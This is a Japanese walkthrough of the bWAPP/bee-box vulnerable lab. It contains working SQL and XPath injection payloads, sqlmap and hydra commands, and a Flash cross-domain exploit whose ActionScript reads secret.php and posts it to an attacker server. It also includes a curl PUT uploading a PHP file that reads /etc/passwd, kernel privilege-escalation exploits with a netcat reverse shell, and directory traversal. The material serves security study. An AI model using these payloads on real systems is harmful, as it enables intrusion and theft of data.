一つ前の問題でSqlmapが吐いた' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
も成功しています!
実際に、以下でSqlmapを実行してみます
sqlmap -u "http://192.168.56.8/bWAPP/sqli_17.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 -p User-Agent --dbs
Boolean-based,Error-based,Time-basedを検出しています!
SQL Injection - Stored (XML)
XML形式でデータをSQLパーサに送信するようです
特に何かを表示させるような感じではないので、Union型ではなさそうです
Burpで'
を入力してみます
すると次のようなエラーが表示されました
Time-basedの' or sleep(5) or '1'='1 -- -
を試すと成功!
Boolean-basedの' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
でも成功!
sqlmap -u "http://192.168.56.8/bWAPP/sqli_8-2.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 --data="<reset><login>a</login><secret>Any bugs?</secret></reset>" --dbs --method POST --dbms mysql
を実行すると、以下のような結果が得られた
参考
動画ではError-based型で成功しているが自分は成功しなかった(???)
https://www.youtube.com/watch?v=cmTZ3LXyjsk
SQL Injection - Blind - Boolean-Based
Blindと書いてあるのでTime-basedとかBoolean-basedを試す
' or sleep(5) -- -
を実行すると、明らかに5秒以上動かなくなった……(なんでだ?)
' or sleep(5) or '1' = '1
とかはダメだった
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
だと成功した!
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
で試してみる
(1119=1119)
とすると、
(1119=1)とすると、
となっており、1bitの情報が得られる!
実際にSqlmapを実行すると、
SQL Injection - Blind - Time-Based
‘ or sleep(5) or ‘1’=’1
とか動かん。よくわからん
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
で成功した!
Boolean-basedの
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
は失敗した
SQL Injection - Blind (SQLite)
Blindを試す
より、Boolean-based型が成功している
Sqlmapを実行すると、
sqlmap -u "http://192.168.56.8/bWAPP/sqli_14.php?title=a&action=search" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 5 --dbs --risk 3 -p title –dbms SQLite
SQL Injection - Blind (WS/SOAP)
Blindを試す
GETをsqli_5.php?title=' or '1'='2&action=go
とすると、
GETをsqli_5.php?title=' or '1'='1&action=go
とすると、
となっているので、Boolean-based型ができる!
また、Time-basedの
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
も成功している
' or sleep(5) and '1'='1
としても5秒以上ではあるがSleepしている(ような挙動)なので成功している?
XML/XPath Injection (Login Form)
xpathとはXML形式のファイルから特定の部分を指定して抽出するための構文(言語)らしいです
つまり、SQLみたいなものと解釈しています
SQLではないので、SQLInjetionのペイロードとは少し違いますが、似ています
見た感じPOSTっぽいですが、Burpで見てみるとGETでした!(はえー)
SQLiで定番の' or '1'='1
でログインできました!
参考文献:
Xpath Injectionのペイロードなどがのっている神
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#tools
XML/XPath Injection (Search)
GETメソッドで映画のジャンルをactionとかsfとかを送信する
‘
をGETメソッドのgenre=’
としていれると次のerrorが発生
Genre=act
として省略してもgenre=action
と同じ動作をするのでxpath構文の中にcontains()
が実装されていると予想できるらしい
) or contains(genre, '
) or not(contains(genre, 'teck') and '1'='2
)]/password | a[contains(a,'
)]/*|//*[contains('1','1
が動くらしい(結果論で申し訳ない)
実際のソースコードは、
の通りである。
初め二つのペイロードはgenreに''を含む値、つまりすべてのジャンルの値を取り出している
3つ目は、xmlファイルの中のpasswordの中身をパイプでつないでるっぽい。
4つ目の')]/*|//*[contains('1','1
を使えばすべて表示できるらしい
参考:
https://teckk2.github.io/web-pentesting/2018/02/07/XML-XPath-Injection-(Search).html
A2 Broken Auth. & Session Mgmt.
Broken Auth. - CAPTCHA Bypassing
bee/bug
と書いてあるので、これとCAPTCHAでログインが可能である。
しかし、本来はUserとPasswordはブルートフォースで試すことになるため、アクセスするたびに毎回異なった正しい値を設定する必要があるCAPTCHAは邪魔である
本問はこれをBypassする問題
まずは普通にアクセスする際にどういう通信が発生しているのかWiresharkで確認してみる
http.request.method == "POST" or http.request.method == "GET"
でフィルタ
POST以外にも通信が発生している。
これはPOSTした際にクレデンシャルが間違っていた時に新しいCAPTCHAをサーバー側のSESSIONにセットし、GETで新しいCAPTCHAをWEBブラウザに表示しているからである。
実際にソースコードを確認すると、以下のようになっている。
else { if($_POST["captcha_user"] == $_SESSION["captcha"]) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; }
よって、POSTのみを行えばよい
これをBurpのIntruderで行う
上記の通り、成功している!この時の通信は以下の通りPOSTのみである
Broken Auth. - Forgotten Function
ソースコードは以下の通り。
if(isset($_POST["action"])) { $email = $_POST["email"]; if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { $message = "<font color=\"red\">Please enter a valid e-mail address!</font>"; } else { $email = mysqli_real_escape_string($link, $email); $sql = "SELECT * FROM users WHERE email = '" . $email . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Error: " . $link->error); }
RFC822を使用しているようなのでフィルタのチェックはガバガバか?と思ったが、mysqli_real_escape_stringがあるのでSQLInjetionはできなさそう。
つまり、MailAddressはブルートフォースする必要がある。
試しに以下でUserを作成する
これでやると行けたが、この問題の趣旨がよくわからない?なんでしょう??
Broken Auth. - Insecure Login Forms
- low
ソースコードを見るとクレデンシャルが書いてあります。
user="tonystark" password="I am Iron Man"でログイン成功!
- medium
ソースコードを見てみると、javascriptが見える
これを開発者ツールのConsoleで実行すると,passphraseが得られた。
- hard
user=bee,password=bugで成功。Broken Auth. - Logout Management
- low
ソースコードを見てみる
switch($_COOKIE["security_level"]) { case "0" : // Do nothing break; case "1" : // Destroys the session session_destroy(); break; case "2" : // Unsets all of the session variables $_SESSION = array(); // Destroys the session session_destroy(); break; default : // Do nothing break; }
どうやらlogin.phpにリダイレクトはされるが、Sessionは削除されないため、ログインしてるのと同じ。
- medium
MediumとHardではログアウトすると再度ログインする必要があった。
Broken Auth. - Password Attacks
- low
bee/bugで基本的にログイン自体はできるけど、その認証の違いを学ぶのが本問の趣旨(?)
lowレベルのソースコードは以下の通り、userとpasswordを確認しかしていない
if(isset($_POST["form"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } }
- medium
POSTリクエストを見てみると、以下のようにランダムなSaltを送信している
if(isset($_POST["form"])) { if(isset($_SESSION["salt"]) && ($_POST["salt"] == $_SESSION["salt"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } } else { $message = "<font color=\"red\">Incorrect salt!</font>"; } } $salt = random_string(); $_SESSION["salt"] = $salt;
毎回ランダムな値がセットされるのでHydraなどのブルートフォースツールは動かないっぽい
- hard
if(isset($_POST["form"])) { if(isset($_SESSION["captcha"]) && ($_POST["captcha_user"] == $_SESSION["captcha"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } } else { $message = "<font color=\"red\">Incorrect CAPTCHA!</font>"; } }
CAPTCHAはおそらくリロードしない限りは使いまわせる
Broken Auth. - Weak Passwords
正しいパスワードをブルートフォースで攻撃する
$login = "test"; switch($_COOKIE["security_level"]) { case "0" : $password = "test"; break; case "1" : $password = "test123"; break; case "2" : $password = "Test123"; break; default : $password = "test"; break; }
/usr/share/john/password.lst
,/usr/share/wfuzz/wordlist/general/big.txt
ならtest
とtest123
ならいけた。Test123
があるワードリストはWordlistsディレクトリ下にはない。
hydra -L /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -s 80 192.168.56.8 http-post-form '/bWAPP/ba_weak_pwd.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials!:H=Cookie:security_level=0; PHPSESSID=fdecda3af8c9c666618ffc6af4b27c5c; has_js=1'
を実行するとlowレベルなら成功!
Session Mgmt. - Administrative Portals
- low
smgmt_admin_portal.php?admin=0
となっているURLの値をadmin=1
とすると、成功
- medium
Cookieの中にadmin=0とあるのでこれをadmin=1とするころでUnlock!
- low
初めからUnlockになっているゾ
Session Mgmt. - Cookies (HTTPOnly)
<script> function show_my_cookies() { alert(document.cookie) } </script>
http only
属性がONの場合は、HTTPテキスト内のスクリプトからCookieをアクセスできなくなる。 これにより、ウェブサイトにクロスサイト・スクリプティングの脆弱性があっても、その脆弱性によってCookieを盗まれるという事態を防止できる。
しかし、今回はOFFとなっているので、もしXSSができる場合にSESSIONが盗まれてしまう
http only
属性はChromeの[Application]の[Cookies]で確認する
また、Cookiesをクリックすると以下のように表示された。
ここで<h1>aa</h1>
などのInjectionを試すと実行されている
Mediumではhttp only属性が付与されている
Htmlでは表示されているtop_securityにhttp only属性が付与されているため、alert(daocument.cookie)の実行で表示している[here]タブからは参照できない
Session Mgmt. - Cookies (Secure)
secure属性を指定すると、TLSもしくはSSLで保護された通信が用いられている場合のみ、Cookieがブラウザから送出されるようになる。
Mediumでhttpsでアクセスすると、以下のようにSecure属性がついているtop_securityがサーバに投げられてhtmlに表示される。
httpでアクセスするとSecure属性のtop_securityはサーバに送信されず、Htmlに表示されていない
Session Mgmt. - Session ID in URL
lowの時のみ、URLにSessionIDが見えている
Session Mgmt. - Strong Sessions
- low
Hereにアクセスすると以下のようにStrongSessionを持っていないといわれる。
- medium
Mediumでアクセスしてみると以下のようになった。
CookieにSessionIDが設定されている。Secure属性がついていないため、httpでもStrongSessionIDが付与されている。これでは盗聴されたときにSessionハイジャックに脆弱である。
- high
乱数をSHA256ハッシュ化したStrongSessionIDにSSL/TLS通信でhttp only, http secure属性を付与している。これなら普通は盗まれないのかな?
// Generates a SSL secured cookie // Generates a random token $token = uniqid(mt_rand(0,100000)); $token = hash("sha256", $token); $_SESSION["top_security_ssl"] = $token; // The cookie will be available within the entire domain // Sets the Http Only flag and the Secure flag setcookie("top_security_ssl", $token, time()+3600, "/", "", true, true);
A4 – Insecure Direct Object References
Insecure DOR (Change Secret)
POSTで送信するデータを見てみると、
となっており、このlogin=bee
の値を書き換えることで別のユーザーのSecretを上書きできる。
MediumやHighではPOSTは以下のようにランダムな値であるTokenに変わっている
// If the security level is MEDIUM or HIGH if(!isset($_REQUEST["token"]) or !isset($_SESSION["token"]) or $_REQUEST["token"] != $_SESSION["token"]) { $message = "<font color=\"red\">Invalid token!</font>"; }
ランダムなTokenを作成して、それをSESSIONとPOSTにそれぞれ入れて、それが一致か確認する認証に変わっている。
Lowでは、ユーザー名は$SESSIONから取得するべきで、POSTの$REQUESTSには入れるべきではないのに入っているのが問題
// A random token is generated when the security level is MEDIUM or HIGH if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2") { $token = sha1(uniqid(mt_rand(0,100000))); $_SESSION["token"] = $token; }
Insecure DOR (Reset Secret)
POSTを見ると、login=beeとなっているため、このユーザー名を書き換えることでその他のユーザのSecretを書き換えらえる。
Insecure DOR (Order Tickets)
POSTを見てみると、価格も送信しているのでこれを15じゃなくて100に書き換えてみる
レスポンスを見ると下のように書き換えられている!
A5 – Security Misconfiguration
Arbitrary File Access (Samba)
enum4linux 192.168.56.8
smbclient //192.168.56.8/tmp
パスワードなしで接続できる共有フォルダがあれば、Metasploitを用いてrootディレクトリ以下のコピーを作成できる
use auxiliary/admin/smb/samba_symlink_traversal set RHOSTS 192.168.56.8 set SMBSHARE tmp exploit
Metasploitを使わずに同じことをしたいがどうやるんだろう??
/etc/passwd
も読める
Cross-Domain Policy File (Flash)
本問はFlashのRevive Adserver before 3.2.2でデフォルトでクロスドメイン制約がすべてのドメインに関して許可されていることによるCSRFが可能というテーマである(CVE-2015-7369)
CSRFとは、オンラインサービスを利用するユーザーがログイン状態を保持したまま悪意のある第三者の作成したURLなどをクリックした場合などに、本人が意図しない形で情報・リクエストを送信されてしまうことである
つまり、今回の攻撃は攻撃者が用意したbee-boxとは別のWebサーバにアクセスするだけで、bee-boxに勝手にアクセスされて任意の操作(User作成、Secretの取得や書き換えなど)をされてしまうということ。
ログインしている状態でこのような攻撃者のWebページにアクセスしてしまうと、ユーザが気づかない間に勝手に情報が抜かれていることがありえる。
ルートディレクトリに存在しているcrossdomain.xmlを見てみると、下のようにすべてのドメインからの操作を許可している
攻撃用サーバにアップするソースコードなどのサンプルが/evil/にあるらしいのでアクセスしてみる
SWFファイルとは、Adobe Flashなどで作成されたベクターアニメーションなどが格納された再生用ファイルの形式で、.asファイルをコンパイルして作成する。
標準のファイル拡張子は「.swf」。Webブラウザなどに組み込まれたFlash Playerなどで再生・実行される。
今回は.asファイル
にbee-boxのsecret.phpにアクセスしてそこからデータを取得して、攻撃者のphpファイルに返すような動作を記述する
コンパイラは以下を使用
Kali側の攻撃用サーバのxdx.php
は以下の通りである
<?php if(isset($_POST["data"])) { $req_dump = $_POST["data"]; $fp = fopen("xdx.log", "a"); fwrite($fp, $req_dump); fclose($fp); exit; } ?> <!DOCTYPE html> <html> <object type="application/x-shockwave-flash" data="xdx.swf" width="1" height="1"> <param name="movie" value="xdx.swf" /> </object> </html>
xdx.as
は以下の通りである。/evil/にあるファイルのうち、二つのURLを変更しただけ
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com) // Customizations by Malik Mesellem (malik@itsecgames.com) // xdx.as // Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5 package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLVariables; import flash.net.URLLoader; public class xdx extends Sprite { public function xdx() { // Target URL from where the data is to be retrieved var readFrom:String = "http://192.168.56.8/bWAPP/secret.php"; var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://10.0.2.15/share/crossdomain/xdx.php" var sendRequest:URLRequest = new URLRequest(sendTo); var variables:URLVariables = new URLVariables(); variables.data = event.target.data; sendRequest.method = URLRequestMethod.POST; sendRequest.data = variables; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } }
/opt/flex_sdk/bin/mxmlc xdx.as
でasファイル
をswfファイル
にコンパイル
service apache2 start
でKali側で攻撃用サーバを立ち上げる
ChromeではデフォルトでFlashのPluginが無効なので有効にする
ChromeのNetworkで確認すると以下のようになっており、secret.phpにアクセスできている!
参考文献:
とても詳細に解説が書いてある
https://m.blog.naver.com/PostView.nhn?blogId=is_king&logNo=221618987993&proxyReferer=https%3A%2F%2Fwww.google.com%2F
さらにUserを作成するようなActionScriptがある。
https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
Insecure FTP Configuration
ftp 192.168.56.8
lftp -u anonymous,anonymous 192.168.56.8
Filezilla
use auxiliary/scanner/ftp/anonymous
Insecure SNMP Configuration
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
portは161
snmp-check 192.168.56.8
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
bee-boxのバージョンがみえている。
use auxiliary/scanner/snmp/snmp_login
参考文献:
https://net123.tistory.com/513
Insecure WebDAV Configuration
WebDAVとは、主にWebサーバからWebクライアントへのファイルを送信するのに用いられるHTTPを拡張し、サーバ内のファイルやディレクトリの管理を直接行うことができるようにする仕様。
ここにファイルアップロードできないかなどを試す
cadaver http://192.168.56.8/webdav
A command-line WebDAV client for Unix
davtest -url http://192.168.56.8/webdav/
curl -X PUT --data '<?php $f=fopen("/etc/passwd","r"); echo fread($f,filesize("/etc/passwd")); fclose($f); ?>' 'http://192.168.56.8/webdav/attack.php'
use auxiliary/scanner/http/webdav_scanner
その他、nikto
,nmap
などでも確認できるらしい
curl -v -X OPTIONS "http://192.168.56.8/webdav/"
でPUT
ができるかどうか確認すると、PUTが表示されていない。なんでだろう?
参考文献:
Introduction to HTTP PUT Method
Scanning HTTP PUT Method (Nikto)
Exploiting PUT Method Using Cadaver
Exploiting PUT Method Using Nmap
Exploiting PUT Method Using Poster
Exploiting PUT Method Using Metasploit
Exploiting PUT Method Using Burpsuite
Exploiting PUT Method Using Curl
の方法が詳しく載っている
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/
Local Privilege Escalation (sendpage)
とりあえずまずユーザ権限のShellを奪取する
python -c 'import pty; pty.spawn("/bin/sh")'
でshellをアップグレード
下のLocal Privilege Escalationを参考にする
kakyouim.hatenablog.com
まずは、LinEnum.shなどのEnumコードで情報収集する
以下の有益な情報が得られた
sudo
コマンドにSUIDビットが立っているため、一般ユーザーでもsudoが使用可能である
今、user=bee,password=bugのユーザーが存在するため、そっちに切り替えてsu rootをすればRootになれる
perl Linux_Exploit_Suggester.pl
でExploitを探す
また、得られたKernelのバージョンから有効なExploitをsearchsploit
でも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
以下の方法で絞り込みを行う
- Linux kernel で2.6(今回は2.6.24)
- Local Privilege
- OSが32bit(i686とあるため)
- 標的の環境ではRubyは動かないので.rbを排除
< 2.6.1
を省く
ここまですればある程度目で見れるくらいに絞れる。あとは、
- Ubuntuで8.04じゃないやつ(10.10とか)
等、矛盾するものを排除していく
注意点
- Grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
- Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
- 一個ずつ消すときは、ファイル名で消す
- 2.xみたいなのを消さないように気を付ける
今回絞れるだけ絞った結果が以下である
searchsploit "Privilege" -e | grep "linux kernel" -i | grep -e "2.6" -e "2.x" | grep -v "64/" | grep -v "< 2.6.1" | grep -v "Linux Kernel 2.6.3" | grep -v "< 2.6.7" | grep -e "<" -e ">" -e "/2." -e "2.x" | grep -v "42276" | grep -v "160.c" | grep -v "Bluetooth" -i | grep -v "< 2.6.22" | grep -v "< 2.6.24.1" | grep -v "2.6.17" | grep -v Process | grep -v "10.10" | grep -v "10.04" | grep -v ".rb" | grep -v "145.c" | grep -v "samba" -i | grep -v "2.4.0-test" | grep -v "Android" | grep -v "3.c" | grep -v "Ubuntu 12.04"
この結果とperl Linux_Exploit_Suggester.pl
の結果にsendpage
が含まれているため試してみる
9435
を試すと、以下のようにrootになれた!
Local Privilege Escalation (udev)
先ほど得られたsearchsploitの結果の中でUbuntuで絞ってみると、以下のようになる
udevadm --version
でudevが脆弱なバージョンかどうか確認すると、117となっているため脆弱であることがわかる
41886.c
には以下のようにこのバージョンが脆弱であることが書いてある
8572.c
には以下のようにExploitの手順が書かれているため、その通りに実行してみる
どうやら/tmp/runファイルに実行したいシェルスクリプトを書いておけば、それをroot権限で実行するようです
vimで以下のファイルを作成する。この際、itest^[:wq!
みたいに書くと、testというファイルが作成される(^[
はEscape)
./8572 2530
を実行して、Kali側でnc -lvp 4445
を実行すると以下のようにrootのShellがつながった!
ちなみに、/tmp/run
に以下のように/bin/bash
としてもrootのシェルは立ち上がらなかった。なんでだろう?
ここで少してこずってしまったので、
"cve-2009-1185" AND "exploit" AND "linux" AND "kernel" AND "2.6."
みたいに絞り込んでGoogleで同じバージョンでExploitを検証してないかどうか確認するのがよさそう
ちなみに、dirty c0w
のExploitも試してみる
成功している!
他にもいろいろあるかもしれないですね
注意
dirtycow
を試したら必ずpasswdファイルを復元してください。
自分は復元忘れてて次回起動時にバグって再度入れなおす羽目になりました
Old, Backup & Unreferenced Files
どうやら、ここに載っているファイルがWebサーバ上でアクセスできるようになっており、ブルートフォースでそういう重要なファイルを見つけてくださいということのようです
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ
等を試してみます
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
あたりが使えそう??
Robots File
robots.txtでは、主にクローラーの制限を行う際に活用します。
例えば、User-Agentでクローラーの種類を指定して、その指定したクローラーが特定のファイルをクロールしないように、DisallowでファイルのURLパスを指定します。
なので、ここにDisallowとなっているディレクトリには重要な情報が含まれている可能性があるので見る価値あり
ちなみに、
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/common.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ/
ですべてのディレクトリをブルートフォースで確認できます
最後にFUZZ/
のように/
を入れるとディレクトリを探索、FUZZ
のように/
を入れないとファイルを探索する
A6 - Sensitive Data Exposure
Base64 Encoding (Secret)
- low
secretがURLEncode+Base64Encodeされてました
- medium,high
SHA1ハッシュ化されてました
BEAST/CRIME/BREACH
HTTPSの通信バージョンに脆弱性があるようですが詳しいことは何もわかりません
sslscan --no-failed --version 192.168.56.33:9443
nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
AVAILABLE PLUGINS ----------------- SessionResumptionPlugin CompressionPlugin OpenSslCipherSuitesPlugin FallbackScsvPlugin CertificateInfoPlugin HttpHeadersPlugin RobotPlugin EarlyDataPlugin HeartbleedPlugin OpenSslCcsInjectionPlugin SessionRenegotiationPlugin CHECKING HOST(S) AVAILABILITY ----------------------------- 192.168.56.33:9443 => 192.168.56.33 SCAN RESULTS FOR 192.168.56.33:9443 - 192.168.56.33 --------------------------------------------------- * OpenSSL CCS Injection: OK - Not vulnerable to OpenSSL CCS injection * TLS 1.2 Session Resumption Support: With Session IDs: OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts). With TLS Tickets: OK - Supported * Session Renegotiation: Client-initiated Renegotiation: VULNERABLE - Server honors client-initiated renegotiations Secure Renegotiation: OK - Supported * SSLV2 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: SSL_CK_RC4_128_WITH_MD5 128 bits SSL_CK_RC4_128_EXPORT40_WITH_MD5 40 bits SSL_CK_RC2_128_CBC_WITH_MD5 128 bits SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 40 bits SSL_CK_DES_64_CBC_WITH_MD5 56 bits SSL_CK_DES_192_EDE3_CBC_WITH_MD5 112 bits * TLSV1_3 Cipher Suites: Server rejected all cipher suites. * Deflate Compression: VULNERABLE - Server supports Deflate compression * TLSV1_2 Cipher Suites: Server rejected all cipher suites. * TLSV1_1 Cipher Suites: Server rejected all cipher suites. * Certificate Information: Content SHA1 Fingerprint: ae5fb7be864a78e168318fc1c96a4bd242c4e6c3 Common Name: bee-box.bwapp.local Issuer: bee-box.bwapp.local Serial Number: 15617680085524193115 Not Before: 2013-04-14 18:11:32 Not After: 2018-04-13 18:11:32 Signature Algorithm: sha1 Public Key Algorithm: RSA Key Size: 1024 Exponent: 65537 (0x10001) DNS Subject Alternative Names: [] Trust Hostname Validation: FAILED - Certificate does NOT match 192.168.56.33 Android CA Store (9.0.0_r9): FAILED - Certificate is NOT Trusted: self signed certificate Apple CA Store (iOS 12, macOS 10.14, watchOS 5, and tvOS 12):FAILED - Certificate is NOT Trusted: self signed certificate Java CA Store (jdk-12.0.1): FAILED - Certificate is NOT Trusted: self signed certificate Mozilla CA Store (2019-03-14): FAILED - Certificate is NOT Trusted: self signed certificate Windows CA Store (2019-05-27): FAILED - Certificate is NOT Trusted: self signed certificate Symantec 2018 Deprecation: OK - Not a Symantec-issued certificate Received Chain: bee-box.bwapp.local Verified Chain: ERROR - Could not build verified chain (certificate untrusted?) Received Chain Contains Anchor: ERROR - Could not build verified chain (certificate untrusted?) Received Chain Order: OK - Order is valid Verified Chain contains SHA1: ERROR - Could not build verified chain (certificate untrusted?) Extensions OCSP Must-Staple: NOT SUPPORTED - Extension not found Certificate Transparency: NOT SUPPORTED - Extension not found OCSP Stapling NOT SUPPORTED - Server did not send back an OCSP response * TLSV1 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: TLS_RSA_WITH_RC4_128_SHA 128 bits TLS_RSA_WITH_RC4_128_MD5 128 bits TLS_RSA_WITH_DES_CBC_SHA 56 bits TLS_RSA_WITH_AES_256_CBC_SHA 256 bits TLS_RSA_WITH_AES_128_CBC_SHA 128 bits TLS_RSA_WITH_3DES_EDE_CBC_SHA 112 bits * Downgrade Attacks: TLS_FALLBACK_SCSV: VULNERABLE - Signaling cipher suite not supported * SSLV3 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: TLS_RSA_WITH_RC4_128_SHA 128 bits TLS_RSA_WITH_RC4_128_MD5 128 bits TLS_RSA_WITH_DES_CBC_SHA 56 bits TLS_RSA_WITH_AES_256_CBC_SHA 256 bits TLS_RSA_WITH_AES_128_CBC_SHA 128 bits TLS_RSA_WITH_3DES_EDE_CBC_SHA 112 bits * OpenSSL Heartbleed: OK - Not vulnerable to Heartbleed * ROBOT Attack: OK - Not vulnerable SCAN COMPLETED IN 15.45 S -------------------------
./o-saft.pl +check -v 192.168.56.33:9443
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
./o-saft.tcl
./testssl.sh -U 192.168.56.33:9443
########################################################### testssl.sh 3.1dev from https://testssl.sh/dev/ (6da6335 2020-02-08 10:32:46 -- ) This program is free software. Distribution and modification under GPLv2 permitted. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK! Please file bugs @ https://testssl.sh/bugs/ ########################################################### Using "OpenSSL 1.0.2-chacha (1.0.2k-dev)" [~179 ciphers] on kali:./bin/openssl.Linux.x86_64 (built: "Jan 18 17:12:17 2019", platform: "linux-x86_64") Start 2020-02-09 11:50:19 -->> 192.168.56.33:9443 (192.168.56.33) <<-- rDNS (192.168.56.33): -- Service detected: HTTP Testing vulnerabilities Heartbleed (CVE-2014-0160) not vulnerable (OK), no heartbeat extension CCS (CVE-2014-0224) VULNERABLE (NOT ok) Ticketbleed (CVE-2016-9244), experiment. not vulnerable (OK), session IDs were returned but potential memory fragments do not differ ROBOT not vulnerable (OK) Secure Renegotiation (RFC 5746) supported (OK) Secure Client-Initiated Renegotiation VULNERABLE (NOT ok), DoS threat CRIME, TLS (CVE-2012-4929) VULNERABLE (NOT ok) BREACH (CVE-2013-3587) potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested Can be ignored for static pages or if no secrets in the page POODLE, SSL (CVE-2014-3566) VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below) TLS_FALLBACK_SCSV (RFC 7507) Downgrade attack prevention NOT supported and vulnerable to POODLE SSL SWEET32 (CVE-2016-2183, CVE-2016-6329) VULNERABLE, uses 64 bit block ciphers for SSLv2 and above FREAK (CVE-2015-0204) VULNERABLE (NOT ok), uses EXPORT RSA ciphers DROWN (CVE-2016-0800, CVE-2016-0703) VULNERABLE (NOT ok), SSLv2 offered with 6 ciphers Make sure you don't use this certificate elsewhere, see: https://censys.io/ipv4?q=FF29B36FCC813AE5B2100D985E692A612DE6F15570374320F85B43076CF08163 LOGJAM (CVE-2015-4000), experimental not vulnerable (OK): no DH EXPORT ciphers, no DH key detected with <= TLS 1.2 BEAST (CVE-2011-3389) SSL3: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA TLS1: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA VULNERABLE -- and no higher protocols as mitigation supported LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches RC4 (CVE-2013-2566, CVE-2015-2808) VULNERABLE (NOT ok): RC4-SHA RC4-MD5 RC4-MD5 EXP-RC4-MD5 Done 2020-02-09 11:50:56 [ 41s] -->> 192.168.56.33:9443 (192.168.56.33) <<--
要するに、暗号化が脆弱ってことかな?(なんもわからん)
A7 - Missing Functional Level Access Control
Directory Traversal – Directories
- low
documents
となっているところを書き換える
- medium
directory_traversal_2.php?directory=file://
のように書く
Directory Traversal – Files
- low
directory_traversal_1.php?page=../../../etc/passwd
- Medium
directory_traversal_1.php?page=file:///etc/passwd
SQLiteManager Local File Inclusion
searchsploit sqlite | grep 1.2
Remote & Local File Inclusion (RFI/LFI)
- low
